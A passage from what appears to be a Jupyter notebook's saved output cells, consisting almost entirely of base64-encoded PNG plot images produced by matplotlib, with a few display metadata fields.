jOkH0uKo6tWn+n+bSE5r3G5t2zyv12ht4cZIVdG4HeHaSr+M5pKG7Driuqi5oPp9CJ5x6DmmongtcU1U3VdXdwKnA0/Ac0vAN95y5rlnubdckYhgdGxcB2yd5bJKN6dx0/Z1xrkkTTPPEty8Dv6iqf+ta9R3g9c3y64Fvd7W/JskmSR5L50b9C9uqVxNPVb23qh5dVbPp/O/MmVX1WjyHNERV9Qfgd0me1DQ9B7gCzyEN3W+BvZLMbP679hw6z0DwHNJwDeucaS7lvT3JXs25d1DXNpokpo93Af2oqu5J8jbgNDpPlftKVV0+zmVp4tkbeB1waZJlTdv7gI8C30jyRjr/kX8lQFVdnuQbdP6P4j3AW6tqTetVazLwHNJwvB04rvnH06uBN9D5x2rPIa1XVV2Q5BRgKZ1z4hJgETALzyGtRZITgPnAlkmuAw5nw/7b9RY6T+bdFPhB89Ikks7DpyRJkiRJao+X6UqSJEmSWmcYlSRJkiS1zjAqSZIkSWqdYVSSJEmS1DrDqCRJkiSpdYZRSZKGIcn7k1yeZHmSZUn+epTHPzjJkaM55kglOSTJQc3y0Un2a5YXJ5nXLP93koeMY5mSpEnG3xmVJGmIkjwV2BfYrapWJ9kS2Hicy/pfSaaNxW82VtUXh9Dn70Z7v5Kk/ubMqCRJQ/co4OaqWg1QVTdX1fUASVYk+ViSC5vXE5r2rZJ8M8lFzWvvpn3PJD9Lcknz/qTenSV5YZLzkmyZ5HnN8tIkJyeZ1bXfDyY5B3hlkkOTXNHM3J64roNJMj/JT5J8I8mvknw0yYFN/ZcmeXzTb2GSd61nrBVNOCfJO5Nc1rze0bTNTvKLJEc1M8unJ9m0WTfkmiVJ/cMwKknS0J0ObNsEt88neVbP+j9X1Z7AkcB/NG2fBv69qvYAXgF8qWm/EnhmVe0KfBD4cPdASV4GvAcYmHE8DHhuVe0GLAHe2dX9L1X19Ko6sdlm16raGThkCMe0C/CPwFOA1wFPbI7hS8Dbh7D9/STZHXgD8NfAXsCbkuzarN4e+FxV7QTcSuf7YANqliT1AS/TlSRpiKrqjiZsPQPYBzgpyXuq6uimywld7//eLD8X2DHJwDAPTrI5sAVwTJLtgQI26trVPsA84HlV9eck+wI7Auc242wMnNfV/6Su5eXAcUm+BXxrCId1UVXdAJDkN3QCN8ClTR3D9XTgv6pqZTPmqXS+r+8A11TVsqbfxcDsDaxZktQHnBmVJGkYqmpNVS2uqsOBt3Hf7B50QmXv8oOAp1bV3Oa1TVXdDvwrcFZVzQFeBMzo2vZqYHPgic3nAD/qGmPHqnpjV/+VXcsvBD4H7A5cnGR9//C8umv53q7P97Jh/2iddazr3tearvGHW7MkqQ8YRiVJGqIkT2pmMgfMBa7t+vzqrveBmcvT6YTWgTHmNotbAL9vlg/u2dW1wMuBY5PsBJwP7N11H+rMJE/s2YYkDwK2raqzgHcDDwFmNfenHjvkAx2Zs4GXNjVuBrwM+OnaOq+t5jYKlSSNL//lUZKkoZsFfLb5CZN7gF8DC7rWb5LkAjr/2Lt/03Yo8Lkky+n8d/dsOvdFfpzOZbrvBM7s3VFV/TLJgcDJdGZODwZOSLJJ0+Uw4Fc9m00Dvp5kCzozlP9eVbcmeQxw50gOfKiqammSo4ELm6YvVdUlSWavZZNBax7zQiVJ4y5Vtf5ekiRpnZKsAOZV1c3jXUuvJJ8AvlZVy8e7FkmSBhhGJUkaBRM5jEqSNBEZRiVJkiRJrfMBRpIkSZKk1hlGJUmSJEmtM4xKkiRJklpnGJUkSZIktc4wKkmSJElqnWFUkiRJktS6/x8Wci/8ttPqvgAAAABJRU5ErkJggg==\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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